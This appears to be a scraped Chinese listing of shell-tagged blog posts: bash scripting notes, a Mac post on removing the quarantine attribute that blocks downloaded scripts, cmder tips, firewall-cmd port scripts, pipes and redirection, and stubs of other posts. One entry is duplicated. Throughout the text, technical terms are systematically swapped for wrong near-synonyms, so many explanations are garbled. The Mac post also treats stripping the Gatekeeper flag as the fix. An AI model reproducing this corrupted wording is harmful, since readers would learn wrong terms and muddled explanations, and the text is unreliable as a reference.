关于shell:Shell-工具和脚本学习笔记

写在后面:本篇内容来自于 MIT 推出的课程:计算机教育中缺失的一课,这门课程介绍了命令行、弱小的文本编辑器的应用、应用版本控制系统提供的多种个性等等。中文课程主页:https://missing-semester-cn.github.io/。 本篇为学习第二节课所做的笔记,主题是 Shell 工具和脚本,在这节课中,介绍了 bash 作为脚本语言的一些根底操作,以及几种最罕用的shell工具。 变量赋值: foo=bar,留神两头不能增加空格Bash中的字符串通过 ' 和 "分隔符来定义,然而它们的含意并不相同。以 ' 定义的字符串为原义字符串,其中的变量不会被本义,而 "定义的字符串会将变量值进行替换。函数编写:应用 "$1"获取变量值mcd () { mkdir -p "$1" cd "$1"}bash中的非凡变量 $0 - 脚本名$1 到 $9 - 脚本的参数。 $1 是第一个参数,依此类推。$@ - 所有参数$# - 参数个数$? - 前一个命令的返回值$$ - 以后脚本的过程识别码!! - 残缺的上一条命令,包含参数。常见利用:当你因为权限有余执行命令失败时,能够应用 sudo !!再尝试一次。$_ - 上一条命令的最初一个参数。如果你正在应用的是交互式shell,你能够通过按下 Esc 之后键入 . 来获取这个值。非凡变量能够搭配短路运算符,来中断程序的运行命令替换:以变量的模式获取一个命令的输入,当通过 $( CMD )这样的形式来执行 CMD 这个命令时,它的输入后果会替换掉 $( CMD ) 。例如,如果执行 for file in $(ls) ,shell首先将调用 ls ,而后遍历失去的这些返回值。过程替换:还有一个冷门的相似个性是 过程替换(process substitution), <(CMD) 会执行 CMD 并将后果输入到一个临时文件中,并将 <( CMD ) 替换成长期文件名。这在咱们心愿返回值通过文件而不是STDIN传递时很有用。例如, diff <(ls foo) <(ls bar) 会显示文件夹 foo 和 bar 中文件的区别。程序示例,变量为文件名,如果文件名中蕴含“foobar”,不进行操作,否则退出”foobar“#!/bin/bashecho "Starting program at $(date)" # date会被替换成日期和工夫echo "Running program $0 with $# arguments with pid $$"for file in "$@"; do grep foobar "$file" > /dev/null 2> /dev/null # 如果模式没有找到,则grep退出状态为 1 # 咱们将规范输入流和规范谬误流重定向到Null,因为咱们并不关怀这些信息 if [[ $? -ne 0 ]]; then # 这里的空格不能少 echo "File $file does not have any foobar, adding one" echo "# foobar" >> "$file" fidone批量解决文件时十分有用:bash 通配(globbing)。 ...

May 8, 2021 · 2 min · jiezi

关于shell:mac-shell-脚本执行报错-Operation-not-permitted

mac上你从网页、QQ或微信等下载一个sh脚本,不要忙焦急着去执行,要不然会报上面的谬误 sudo: unable to execute ./sh/ijiami-clang-install.sh: Operation not permitted遇到这个问题该咋办,别着急咱们来分析一下是为什么起因,ls -l一下失去上面列表,都有执行权限,等等前面为啥有个@,百度可知这是个暗藏属性. ijm@172-10-20-151 sh % ls -ltotal 64-rw-r--r--@ 1 ijm staff 2437 4 14 14:36 Fastfile-rwxr-xr-x@ 1 ijm staff 6312 4 16 10:33 ijiami-clang-install.sh-rwxr-xr-x@ 1 ijm staff 830 4 16 10:33 ijiami-clang-uninstall.sh-rwxr-xr-x@ 1 ijm staff 9337 4 14 14:34 ijiami-config.sh-rwxr-xr-x@ 1 ijm staff 588 4 16 10:33 ijiami-version.shdrwxr-xr-x@ 5 ijm staff 160 4 16 10:34 pbx_config为了一探到底,咱们用ls -l@看一下有哪些暗藏属性 total 40-rwxr-xr-x@ 1 ijm staff 2658 3 4 18:46 ijiami-build.sh com.apple.lastuseddate#PS 16 com.apple.macl 72 com.apple.quarantine 21 -rwxr-xr-x@ 1 ijm staff 6029 2 2 15:02 ijiami-clang-install.sh com.apple.lastuseddate#PS 16 com.apple.macl 72 com.apple.quarantine 21 -rwxr-xr-x@ 1 ijm staff 830 1 28 17:37 ijiami-clang-uninstall.sh com.apple.macl 72 com.apple.quarantine 21 -rwxr-xr-x@ 1 ijm staff 588 1 28 17:37 ijiami-version.sh com.apple.macl 72 com.apple.quarantine 21 drwxr-xr-x@ 5 ijm staff 160 1 19 19:12 pbx_config com.apple.quarantine 21 有暗藏属性com.apple.quarantine,这个是啥玩意,咱们一探到底.搜寻得悉macOS Catalina 退出了一项名为 GateKeeper 的爱护机制,从互联网上下载来的文件,会被零碎打上 com.apple.quarantine 标记,也就是免疫隔离,本意是为了防止利用威逼,从而增强零碎安全性。坑爹啊只能把这个暗藏属性给干掉啊 ...

April 28, 2021 · 1 min · jiezi

关于shell:mac-shell-脚本执行报错-Operation-not-permitted

mac上你从网页、QQ或微信等下载一个sh脚本,不要忙焦急着去执行,要不然会报上面的谬误 sudo: unable to execute ./sh/ijiami-clang-install.sh: Operation not permitted遇到这个问题该咋办,别着急咱们来分析一下是为什么起因,ls -l一下失去上面列表,都有执行权限,等等前面为啥有个@,百度可知这是个暗藏属性. ijm@172-10-20-151 sh % ls -ltotal 64-rw-r--r--@ 1 ijm staff 2437 4 14 14:36 Fastfile-rwxr-xr-x@ 1 ijm staff 6312 4 16 10:33 ijiami-clang-install.sh-rwxr-xr-x@ 1 ijm staff 830 4 16 10:33 ijiami-clang-uninstall.sh-rwxr-xr-x@ 1 ijm staff 9337 4 14 14:34 ijiami-config.sh-rwxr-xr-x@ 1 ijm staff 588 4 16 10:33 ijiami-version.shdrwxr-xr-x@ 5 ijm staff 160 4 16 10:34 pbx_config为了一探到底,咱们用ls -l@看一下有哪些暗藏属性 total 40-rwxr-xr-x@ 1 ijm staff 2658 3 4 18:46 ijiami-build.sh com.apple.lastuseddate#PS 16 com.apple.macl 72 com.apple.quarantine 21 -rwxr-xr-x@ 1 ijm staff 6029 2 2 15:02 ijiami-clang-install.sh com.apple.lastuseddate#PS 16 com.apple.macl 72 com.apple.quarantine 21 -rwxr-xr-x@ 1 ijm staff 830 1 28 17:37 ijiami-clang-uninstall.sh com.apple.macl 72 com.apple.quarantine 21 -rwxr-xr-x@ 1 ijm staff 588 1 28 17:37 ijiami-version.sh com.apple.macl 72 com.apple.quarantine 21 drwxr-xr-x@ 5 ijm staff 160 1 19 19:12 pbx_config com.apple.quarantine 21 有暗藏属性com.apple.quarantine,这个是啥玩意,咱们一探到底.搜寻得悉macOS Catalina 退出了一项名为 GateKeeper 的爱护机制,从互联网上下载来的文件,会被零碎打上 com.apple.quarantine 标记,也就是免疫隔离,本意是为了防止利用威逼,从而增强零碎安全性。坑爹啊只能把这个暗藏属性给干掉啊 ...

April 28, 2021 · 1 min · jiezi

关于shell:1-core模块技术方案

命令执行流程筹备阶段命令注册命令执行 1.筹备阶段preparegraph TD A[查看版本号] --> B(查看node版本) B --> C(查看root启动) C --> D(检查用户主目录) D --> E(查看入参) E --> F(查看环境变量) F --> G{查看是否为最新版本} G --> |N| I[提醒更新] 2. registerCommandgraph TD A[注册init命令] --> B(注册publish命令) B --> C(注册clean命令) C --> D(反对debug)3. execCommandgraph TD A[start] --> B{是否执行本地代码} B --> |N| C[获取缓存目录] B --> |Y| D[获取本地代码入口文件] C --> E(初始化Package对象) --> F{package是否存在} F --> |N| G[装置package] F --> |Y| H[更新package] D --> I(获取本地代码的入口文件) G --> I H --> I I --> K{入口文件是否存在} K --> |Y| L[生成指令执行代码] K --> |N| M[终止执行] L --> N[启动新过程执行代码] N --> R{执行产生的异样} R --> |Y| P[终止执行,打印异样] R --> |N| Q[终止执行] P --> S(END) Q --> S M --> S这个是整个core模块的技术计划,如有谬误,敬请领导,写作不易,求赞,md手画图 ...

April 20, 2021 · 1 min · jiezi

关于shell:shell脚本中-cd-到带空格的文件夹的大坑

记录一下明天的大坑,xcode工程里有一个文件叫target support files的目录.没错你没看错,就是带空格的目录.咋之前听网上说是这样写、那样写,无非就是这两种1.给门路加"" dirPath="YourProject/target support files"cd $dirPath2.再加本义\ dirPath="YourProject/target\ support\ files"cd $dirPath以上两种办法在mac上都行不通,会报YourProject/target not found,上面才是正确的写法 cd YourProject/target\ support\ files你没看错,就是不要双引号

April 9, 2021 · 1 min · jiezi

关于shell:编写简单的shell脚本用于方便管理防火墙

编写简略的shell脚本用于方便管理防火墙最近在看shell脚本,发现这个能大幅升高操作复杂度,你一系列的操作是间断的关联的,就能够写一个shell脚本赖简化操作.我想批量放开或者敞开防火墙端口,我发现防火墙命令里并没有,有的只是放开一个范畴,而且那个命令有些长,每次批改后都要reload一下能力失效,所有我写了三个脚本用于简化 1.批量放开防火墙端口命令示例 openports 80 443 3000这样的话就能够一次放开下面三个端口并且从新加载失效上面是脚本编写 vim openportsDARGS=64if [ -z "$1" ]then echo "Usage:`basename $0` port1, port2... " exit $E_BADARGS fi for arg in $* do firewall-cmd --zone=public --add-port=$arg/tcp --permanent done firewall-cmd --reload这样就是写了一个for循环把传进来的参数遍历一遍,从而实现批量放开端口最初reload防火墙失效 2.批量敞开防火墙端口和批量放开雷同只是命令 add 变为 remove E_BADARGS=64if [ -z "$1" ]then echo "Usage:`basename $0` port1, port2... " exit $E_BADARGS fi for arg in $* do firewall-cmd --zone=public --remove-port=$arg/tcp --permanent done firewall-cmd --reload3.查看放开防火墙只是命令太长,放进脚本里而已 firewall-cmd --zone=public --list-ports这写命令放进环境变量PATH外面,就能够随时运行了,批量放开防火墙端口我集体用起来还是挺不便的

March 30, 2021 · 1 min · jiezi

关于bash:shell-脚本常用命令

咱们要学会用工具解放双手,比方批量给文件夹下某些文件建设软链接,咱们能够写个脚本实现。上面记录这个工程中用到的一些命令。 变量定义变量时,变量名不加美元符号 your_name="12"应用变量应用一个定义过的变量,只有在变量名后面加美元符号即可 your_name="qinjx"echo $your_nameecho ${your_name}变量名里面的花括号是可选的,加不加都行,加花括号是为了帮忙解释器辨认变量的边界 获取某目录下文件夹/文件的名称如果是须要深度遍历,即输入文件夹曾经文件夹里的文件/文件夹,命令如下#!/bin/bashcd 目标目录for file in $(ls *)do echo $filedone如果只想获取第一层的文件曾经文件夹,则如下#!/bin/bashcd 目标目录for file in $(ls )do echo $filedone文件夹和文件的判断首先判断的语法是if [ condition ] 两个命令: -f "file":判断file是否是文件;-d "file":判断file是否是目录(文件夹)。联合获取文件/夹的语法,比方判断是否为文件夹能够这么写 #!/bin/bashcd 目标目录for file in $(ls )do if [ -d "$file" ]; then echo "$file is a directory " elif [ -f "$file" ]; then echo "$file is a file" fidone数组是否蕴含某个值咱们晓得 javascript 蕴含能够间接应用 [].includes('xxx')。 用 shell能够这么写: if [[ " ${array[@]} " =~ " ${value} " ]]; then echo truefiif [[ ! " ${array[@]} " =~ " ${value} " ]]; then echo falsefi流程管制if 语句if conditionthen command1 command2 ... commandN fiif elseif condition then command1 command2else commandfiif else-if elseif condition1then command1elif condition2 then command2else commandNfi获取某个文件的绝对路径获取文件的绝对路径能够应用$(pwd)如果想要获取一个绝对文件的绝对路径,能够这样写$(cd ${basePath}; pwd)

March 19, 2021 · 1 min · jiezi

关于shell:译-使用-Go-语言编写一个简单的-SHELL

翻译自:https://sj14.gitlab.io/post/2... 介绍在本文中,咱们将应用 Go 语言,编写一个最小的 UNIX(-like)操作系统 SHELL,它只须要大略 60 行代码。你须要略微理解一些 Go 语言(晓得如何编译简略的我的项目),以及简略应用 UNIX Shell。 UNIX 非常简单,简略到一个蠢才都能了解它的简略性 - Dennis Ritchie当然,我并非蠢才,我也不太确定 Dennis Ritchie 所说的,是否也包含运行于用户空间的工具。Shell 只是残缺操作系统的一小部分(相较于内核,它真的是一个简略的局部),但我心愿在本文的结尾,你能够感到吃惊,吃惊于编写一个 SHELL,所用到的常识如此少。 什么是SHELL给 SHELL 下定义有点艰难。我认为 SHELL 能够了解为你所应用的操作系统,根本的用户界面。你能够在 SHELL 中输出命令,而后接管一些反馈输入。如果想理解更多信息,或者更明确的定义,请查阅 维基百科)。 一些 SHELL 的例子: Bash)ZshGnome ShellWindows Shell有像 Windows 和 GNOME 这种图形界面 SHELL,但大多数 IT 相干人员(至多我是),当议论起 SHELL,指的是基于文本的 SHELL(下面列表的头两项)。当然,也能够简化的定义为非图形界面 SHELL。 事实上,SHELL 的性能能够定义为输出命令,而后接管该命令的输入。想看个例子?运行 ls 命令,输入目录的内容。 Input:lsOutput:Applications etcLibrary home...就是这样,非常简略。让咱们开始吧! 输出循环要执行一个命令,咱们必须接管输出。而输出来自咱们人类,应用键盘进行的。 键盘是咱们的规范输出设施(os.Stdin),咱们能够拜访并读取它。当咱们按下回车键的时候,会创立新的一行。这行新的文本以 \n 结尾。当敲击回车键的时候,所有存储在输入区的内容将被输出。 reader := bufio.NewReader(os.Stdin)input, err := reader.ReadString('\n')让咱们将这些代码输出进咱们的 main.go 文件,ReadingString 办法被嵌套在 for 循环中,所以咱们能够重复输出命令。当读取输出,产生谬误时,咱们能够将错误信息输入到规范错误处理设施(os.Stderr)。如果咱们应用 fmt.Println,但并没有指定输出设备,这个错误信息还是会输入到规范输出设备中(os.Stdout)。这并不会扭转 SHELL 的性能,然而输入到独自的设施,能够不便过滤输入,以进行下一步解决。 ...

March 10, 2021 · 3 min · jiezi

关于shell:100-个必须要学会的-Linux-Shell-命令

一,基本操作指令ls # 罕用的所在目录文件查看指令,ls --help 获取帮忙# 应用实例lsll # 罕用的所以目录文件查看指令,以列表的模式展现,ll --help 获取帮忙# 应用实例ll -tcd # 文件夹切换指令,cd --help 获取帮忙# 应用实例cd /homeclear # 革除终端控制台# 应用实例clearvi # 关上文件并且进行编辑 : w -- 保留文件 : q -- 退出文件 : wq -- 保留并退出文件 : q! -- 强制退出文件 : wq! -- 强制保留并退出文件 dd -- 删除所在文本行 i -- 进入文件编辑状态 u -- 返回上一步的操作 gg -- 切换到文件第一行 GG -- 切换到文件最初一行 / -- 进入文件搜寻 : 10 -- 切换到文件第 10 行 n -- 在文件中向后搜寻 N -- 在文件中向前搜寻更多精彩关注老王说编程 >>> ...

February 26, 2021 · 5 min · jiezi

关于shell:shell数据流重定向

在shell中,咱们常常要将一些指令执行的后果进行保留,或者想让一些指令执行的错误信息不显示到屏幕上,那么咱们就须要用到数据流重定向性能。先介绍一下stdout, stderr, stdin stdin:规范输出文件,文件描述符为0。指令默认从stdin读取数据。stdout: 规范输出文件,文件描述符为1。一般来说,当一个指令胜利执行之后,指令输入的内容就会输入到stdout。stderr: 规范谬误输入文件,文件描述符为2。如果一个指令没有胜利执行,那么指令输入的错误信息就会输入到stderr。stdout和stderr的内容默认显示到屏幕,而stdin的内容默认从键盘输入。 规范输入重定向应用符号: >(1>) 和 >>(1>>) 1>:以笼罩的形式将正确的数据输入到文件或设施1>>:以累加的形式将正确的数据输入到文件或设施规范谬误输入重定向应用的符号:2> 和 2>> 2>:以笼罩的形式将谬误的数据输入到文件或设施2>>:以累加的形式将谬误的数据输入到文件或设施规范输出重定向应用符号:< 和 << <: 将本来应该由键盘输入的内容改由文件输出。<<: 将本来应该由键盘输入的内容改由文件输出。不过<<前面能够跟一个结束符(用户自定义),当读取文件内容遇到这个结束符时,就会终止读取。4. >是1>的简写,>>是1>>的简写。 具体利用:1. 输入重定向[aliao@localhost ~]$ echo "aliao" > aliao.txt > 将是stdout重定向到aliao.txt[aliao@localhost ~]$ ls -a >> dir.txt > 将是stdout重定向到dir.txt,以累加的形式2. 输出重定向[aliao@localhost ~]$ cat > newfile < oldfile > 将stdin重定向到oldfile,将stdout重定向到newfile3. 规范输入与谬误输入分流[aliao@localhost ~]$ find /home > stdout.txt 2> stderr.txt > 将stdout重定向到stdout.txt 将stderr重定向到stderr.txt4. 规范谬误输入与规范输入输入到同一文件[aliao@localhost ~]$ find /home .bashrc > stdout.txt 2>&1 > stdout重定向到stdout.txt,而后再将stderr重定向到stdout.txt[aliao@localhost ~]$ find /home .bashrc > stderr.txt 1>&2 > stderr向到stderr.txt, 再将stdout向到stderr.txt5. <<的用法:cat > aliao.txt << EOF 键盘输入的内容 ... EOF当从键盘输入内容直到EOF时,cat就进行读入数据了。EOF使用户自定义的一个终止符号(此处我是用的是EOF),两个EOF之间的内容会被读取。 ...

January 7, 2021 · 1 min · jiezi

关于shell:cmder-tips

Releases:https://github.com/cmderdev/cmder/releases/某个目录右键关上cmdercdmer /register user或cmder /register all如果 cmder 提醒短少 api-ms-win-crt-runtime-l1-1-0.dll,装置 vc2015运行时 即可。汉字重叠:settings -> Main,勾销“Monospace”。增加别名:编辑config/aliases文件。例如:ll=ls -alF --show-control-chars1.3.x版本中文乱码:settings -> Startup -> Environment。set LANG=zh_CN.UTF-8chcp utf-8 # 等价于 chcp 65001ps. 如果运行Python程序时报上面的谬误: UnicodeEncodeError: 'gbk' codec can't encode character 'xa0' in position 222: illegal multibyte sequence依然须要在vendor/init.bat里增加@chcp 65001 >nul 本文出自 qbit snap

January 4, 2021 · 1 min · jiezi

关于shell:shell脚本的执行方式

间接以文件名的形式来执行文件名是要带门路的,如果没有在PATH规定的目录内的话,否则零碎找不到文件。不带门路则必须在PATH指定的某个目录内。应用绝对路径+shell文件的形式,要求文件必须有rx权限,例: /home/aliao/test.sh应用相对路径+shell文件名的形式,要求文件必须有rx权限,例:./test.sh间接应用shell文件名的形式,要求文件必须在PATH所规定的目录内,并且具备rx权限,例:test.shbash或sh+文件名的形式此时不须要文件具备x权限,只有有r权限就能够执行。例:bash test.sh或者bash ./test.sh或者bash /home/aliao/test.sh

December 30, 2020 · 1 min · jiezi

关于shell:Mac-必装命令行工具-1

Mac 必装命令行工具 1)作为一个命令行爱好者,Mac 的终端 terminal 真的是心头爱,各种命令行工具几乎不要太爽。肯定场景下,生产力间接腾飞。 上面列几个我简直每天都在用的命令行工具。 tldrTOO LONG ,DON'T READ。Unix 生存第一法令: 快应用 man 很多命令行工具往往都有各种参数、各种应用阐明,往往很难记得分明。而 man 外面的帮忙文档也往往又臭又长,我只是想晓得咋用,我不太晓得那么多啊!! tldr 就是个精简版的 man , Displays simple help pages for command-line tools。 Installbrew install tldr应用$ tldr grepgrepMatches patterns in input text.Supports simple patterns and regular expressions.- Search for a pattern within a file: grep search_pattern path/to/file- Search for an exact string: grep -F exact_string path/to/file- Search for a pattern [R]ecursively in the current directory, showing matching line [n]umbers, [I]gnoring non-text files: grep -RIn search_pattern .- Use extended regular expressions (supporting `?`, `+`, `{}`, `()` and `|`), in case-insensitive mode: grep -Ei search_pattern path/to/file- Print 3 lines of [C]ontext around, [B]efore, or [A]fter each match: grep -C|B|A 3 search_pattern path/to/file- Print file name with the corresponding line number for each match: grep -Hn search_pattern path/to/file- Use the standard input instead of a file: cat path/to/file | grep search_pattern- Invert match for excluding specific strings: grep -v search_pattern当然,你也能够: tldr tldr 来看看 tldr 的用法。 ...

December 23, 2020 · 2 min · jiezi

关于shell:Shell管道与重定向

对shell有肯定理解的人都晓得,管道和重定向是Linux中十分实用的IPC机制。 在shell中,咱们通常应用合乎‘|’来示意管道,符号‘>’和‘<’示意重定向。 那么管道和重定向的实在含意(定义)又是什么呢? 管道的定义管道就是一个过程与另一个过程之间通信的通道,它通常是用作把一个过程的输入通过管道连贯到另一个过程的输出。 它是半双工运作的,想要同时双向传输须要应用两个管道。 管道又能够分为匿名管道和命名管道,而shell中应用到的是匿名管道,所以本文仅形容匿名管道。 例如命令ls | grep main.c,应用了管道来连贯了两条命令来执行,可能疾速地让咱们晓得当前目录下是否有 main.c 文件。 管道的实质是内存中的缓冲区,能够看作是关上到内存中的文件。 所以须要应用两个文件描述符来索引它,一个示意读端,一个示意写端。 并且规定,数据只能从读端读取、只能往写端写入。 创立管道应用函数pipe()能够创立匿名管道,须要蕴含头文件 unistd.h,示例代码: int fd[2];pipe(fd);首先创立一个 2 个元素的整型数组,而后将该数组作为pipe()的参数,pipe()执行胜利后,数组元素 fd[0]的值就会变成所创立的管道的读端的文件描述符,fd[1]就会变成写端的文件描述符。 至此管道就算创立胜利了。 把管道作为规范输入输出管道创立胜利后,就能够间接应用 read()和 write()函数对管道进行数据的读写。 而因为shell中都是应用规范输入输出对管道进行读写的,例如ls | grep main.c就是将 ls 的规范输入写到了管道写端,而 grep 的规范输出则从管道读端读取,所以本文也只形容此办法。 示例代码如下: int fd[2];pipe(fd);pid=fork();if(0==pid) //execute next command in child process{ dup2(fd[0],0);//redirect standard input to pipe(read) close(fd[0]); close(fd[1]); if(0!=execvp(cmd0[0],cmd0))  printf("No such command!n"); exit(EXIT_SUCCESS);}else //execute current command in current process { dup2(fd[1],1);//redirect standard output to pipe(write) close(fd[0]); close(fd[1]); if(0!=execvp(cmd1[0],cmd1))  printf("No such command!n"); exit(EXIT_SUCCESS);}首先是创立一个管道,而后创立子过程,子过程会继承这一个管道,也就保障了父过程与子过程操作的是同一个管道(管道的继承与一般变量不同)。如果咱们心愿在子过程中执行管道的读端的程序例如ls | grep main.c中的grep main.c;在父过程中执行管道的写端的程序,例如ls | grep main.c中的ls。在子过程中,先调用dup2(fd[0],0);此函数就是将规范输出的文件描述符 0,指向了管道的读端。文件描述符,实质是非负整数,通常是小整数;它是一个索引,通过该索引能够找到对应的文件。 例如,规范输出、规范输入、规范谬误的文件描述符默认是 0、1、2 。当过程须要从规范输出中读取数据时,就会通过 0 索引找到规范输出所对应的内存缓冲区来读取数据。 假如此时管道读端的文件描述符为 3、写端文件描述符为 4 。调用dup2(fd[0],0),实际上就是将文件描述符 3 指向的文件表项赋值给了文件描述符 0,而文件描述符 0 正是过程默认的规范输出。所以此时,当过程须要从规范输出读取数据时,过程就会通过文件描述符 0 来找到管道读端所对应内存缓冲区。从而实现了通过规范输出来读取管道的数据,也能够说是,将管道的读端重定向到了规范输出。管道的写端与规范输出的关系也与此相似,此处不再赘述。调用dup2(fd[0],0)之后还须要调用close()函数将管道原有的文件描述符敞开,敞开的意思是文件描述符 3 和 4 不再索引到管道或者其余文件,也就是说此时应用 read 函数从文件描述符 3 中是读取不到管道的数据的了,并不是说敞开管道的意思。实现管道的设置之后,就能够通过 exec 族函数来执行外部命令了。须要留神的是,调用exec族函数并不会把管道这种IPC资源笼罩或者从新初始化。 ...

December 14, 2020 · 1 min · jiezi

关于shell:宝塔计划任务shell执行SQL

1.问题形容想在宝塔的Shell上定时执行SQL语句,动静更新数据,在网上找了些办法,始终没方法失常运行,不晓得什么起因,而后本人弄了一个,曾经完满运行。#!/bin/sh username=用户名passwd=明码db=数据库mysql -u$username -p$passwd $db< /www/wwwroot/db/predict_avg.sql# predict_avg.sql → 写入要执行的SQL语句。

December 3, 2020 · 1 min · jiezi

关于shell:精心汇总的-24-道-shell-脚本面试题

尽管当初Python在运维工作中曾经应用很广泛,然而很多企业在找Linux云计算工程师的时候还是会问到 shell 脚本的问题,它有助于你在工作环境中主动实现很多工作。 如下是一些面试过程中,常常会遇到的 shell 脚本面试问题及解答: Q:1 Shell脚本是什么、它是必须的吗? 答:一个Shell脚本是一个文本文件,蕴含一个或多个命令。作为系统管理员,咱们常常须要应用多个命令来实现一项工作,咱们能够增加这些所有命令在一个文本文件(Shell脚本)来实现这些日常工作工作。 Q:2 什么是默认登录shell,如何扭转指定用户的登录shell 答:在Linux操作系统,“/bin/bash”是默认登录shell,是在创立用户时调配的。应用chsh命令能够扭转默认的shell。示例如下所示: # chsh <用户名> -s <新shell># chsh linuxtechi -s /bin/shQ:3 能够在shell脚本中应用哪些类型的变量? 答:在shell脚本,咱们能够应用两种类型的变量: 零碎定义变量用户定义变量零碎变量是由零碎零碎本人创立的。这些变量通常由大写字母组成,能够通过“set”命令查看。 用户变量由零碎用户来生成和定义,变量的值能够通过命令“echo $<变量名>”查看。 Q:4 如何将规范输入和谬误输入同时重定向到同一地位? 答:这里有两个办法来实现: 办法一: 2>&1 (如# ls /usr/share/doc > out.txt 2>&1 )办法二: &> (如# ls /usr/share/doc &> out.txt )Q:5 shell脚本中“if”语法如何嵌套? 答:根底语法如下: if [ 条件 ]then命令1命令2…..elseif [ 条件 ]then命令1命令2….else命令1命令2…..fifiQ:6 shell脚本中“$?”标记的用处是什么? 答:在写一个shell脚本时,如果你想要查看前一命令是否执行胜利,在if条件中应用“$?”能够来查看前一命令的完结状态。简略的例子如下: root@localhost:~# ls /usr/bin/shar/usr/bin/sharroot@localhost:~# echo $?0如果完结状态是0,阐明前一个命令执行胜利。 root@localhost:~# ls /usr/bin/sharels: cannot access /usr/bin/share: No such file or directoryroot@localhost:~# echo $?2如果完结状态不是0,阐明命令执行失败。 ...

November 16, 2020 · 2 min · jiezi

关于shell:Shell-编程入门

走进 Shell 编程的大门为什么要学Shell?学一个货色,咱们大部分状况都是往实用性方向着想。从工作角度来讲,学习 Shell 是为了进步咱们本人工作效率,进步产出,让咱们在更少的工夫实现更多的事件。 很多人会说 Shell 编程属于运维方面的常识了,应该是运维人员来做,咱们做后端开发的没必要学。我感觉这种说法大错特错,相比于专门做Linux运维的人员来说,咱们对 Shell 编程把握水平的要求要比他们低,然而shell编程也是咱们必须要把握的! 目前Linux零碎下最风行的运维自动化语言就是Shell和Python了。 两者之间,Shell简直是IT企业必须应用的运维自动化编程语言,特地是在运维工作中的服务监控、业务疾速部署、服务启动进行、数据备份及解决、日志剖析等环节里,shell是不可缺的。Python 更适宜解决简单的业务逻辑,以及开发简单的运维软件工具,实现通过web拜访等。Shell是一个命令解释器,解释执行用户所输出的命令和程序。一输出命令,就立刻回应的交互的对话形式。 另外,理解 shell 编程也是大部分互联网公司招聘后端开发人员的要求。下图是我截取的一些出名互联网公司对于 Shell 编程的要求。 什么是 Shell?简略来说“Shell编程就是对一堆Linux命令的逻辑化解决”。 W3Cschool 上的一篇文章是这样介绍 Shell的,如下图所示。 Shell 编程的 Hello World学习任何一门编程语言第一件事就是输入HelloWord了!上面我会从新建文件到shell代码编写来说下Shell 编程如何输入Hello World。 (1)新建一个文件 helloworld.sh :touch helloworld.sh,扩大名为 sh(sh代表Shell)(扩展名并不影响脚本执行,见名知意就好,如果你用 php 写 shell 脚本,扩展名就用 php 好了) (2) 使脚本具备执行权限:chmod +x helloworld.sh (3) 应用 vim 命令批改helloworld.sh文件:vim helloworld.sh(vim 文件------>进入文件----->命令模式------>按i进入编辑模式----->编辑文件 ------->按Esc进入底行模式----->输出:wq/q! (输出wq代表写入内容并退出,即保留;输出q!代表强制退出不保留。)) helloworld.sh 内容如下: #!/bin/bash#第一个shell小程序,echo 是linux中的输入命令。echo "helloworld!"shell中 # 符号示意正文。shell 的第一行比拟非凡,个别都会以#!开始来指定应用的 shell 类型。在linux中,除了bash shell以外,还有很多版本的shell, 例如zsh、dash等等...不过bash shell还是咱们应用最多的。 ...

November 16, 2020 · 3 min · jiezi

关于shell:Login-和-NonLogin-Shell-的区别译

Shell 是 Linux 用来将用户输出的指令发送给内核的接口,并将内核执行指令后的后果返回输入。 这里应用 Bash shell 作为示例,shell 能够分成两类:Login Shell 和 Non Login Shell,两种类型别离执行不同的脚本来配置 shell 执行环境。 Login Shell用户胜利登陆后应用的是 Login shell。例如,当你通过终端、SSH 或应用 “su -” 命令来切换账号时都会应用 Login Shell。 Login shell 运行一系列的前置脚本来配置 shell 环境,运行如下命令可辨认是否是 login shell。 $ echo $0 如果执行命令的后果相似 "-bash" 或 “-su”,那么你以后处于 login shell(确认有 “-” 前缀符号) Login Shell 会执行如下的前置脚本: 执行文件 /etc/profile执行 /etc/profile.d/ 目录下所有脚本执行用户所属 ~/.bash_profile执行 ~/.bashrc~/.bashrc 执行文件 /etc/bashrcNon Login ShellNon Login Shell 是指通过 login shell 开启的 shell。例如,通过 shell 开启了一个新 shell 或者通过程序开启一个新 shell。 ...

October 19, 2020 · 1 min · jiezi

关于shell:一个简单的进程管理工具

初来乍到,请多关照!大家好,我是Sean,明天分享一个简略的过程管理工具。代码比较简单,次要波及shell、python以及Linux上的一些常识。通过简略的配置,即能够对多个程序进行对立治理,也能够对某个过程进行操作,并兼具过程监控、零碎自启动程序的性能。源码已上传至我的GitHub:https://github.com/HelloWorld... 先看下部署完的成果 怎么想着做这么个工具?之前的工作经验中有用过相似的工具,不过是比较复杂,是用c++写成的,最近在把Windows程序移植到Linux上,Windows上有相应的界面操控的过程管理工具,而到了Linux上咱们能看到只有一个黑乎乎的shell,亟需这么个工具,于是花了两天工夫写了简略的脚本。 如何控制程序启停的呢?其实外面的逻是很简略的,就拿sean start all举个栗子吧,sean就是一个脚本,会承受两个参数(start和all),第一个是代表操作,第二个代表对象,那么又是如何晓得我要启动哪些程序的呢?很简略,配置的嘛,咱们能够在config.ini中配置要治理的程序,只需配置3项,全门路的程序名、启动命令、进行命令,sean脚本会依据传参到配置文件中获取相应的程序名及启动指令或进行指令,而后执行相应的启动或进行指令即可。 如何做到过程监控的呢?那就不得不提到Linux的crontab工作了,crontab是Linux里的定时执行指令的服务,说到这里,想必大家都应该猜到怎么实现的了,对的,让crontab定时检测各个程序是否还存活就行啦,如果程序死掉了,用sean脚本拉起一下就OK啦!而crontab工作的增删都封住到了sean脚本中,用户是感知不到的,启动减少crontab工作,进行时删除crontab工作。 crontab工作治理是如何实现的?这个通过Python的Crontab包就能轻松实现啦!之前也用过shell脚本做过相似的性能,偶然会蹦出来不失效等诡异的问题,所以强烈推荐用Python里的Crontab包,人生苦短a,从官网上看这个包历史也有十多年了,应该是挺靠谱的,在测试的践踏下也没出啥问题,而且我发现能够将定时设置让某个用户执行,这样crontab工作就能够以普通用户的形式执行,权限最小化后也更加的平安。具体用法能够看我的GitHub,文章结尾有链接,Crontab包更多丰盛的用法能够到包里的单元测试里查看,写的很细。 写得可能比拟粗,倡议间接GitHub看看脚本实现,有问题大家能够私信或留言给我。后续细化一下,分享一些shell命令常识,感兴趣的点个关注吧!感激反对! 扫码关注我的公众号吧~

October 16, 2020 · 1 min · jiezi

关于shell:Shell文本处理三剑客之sed

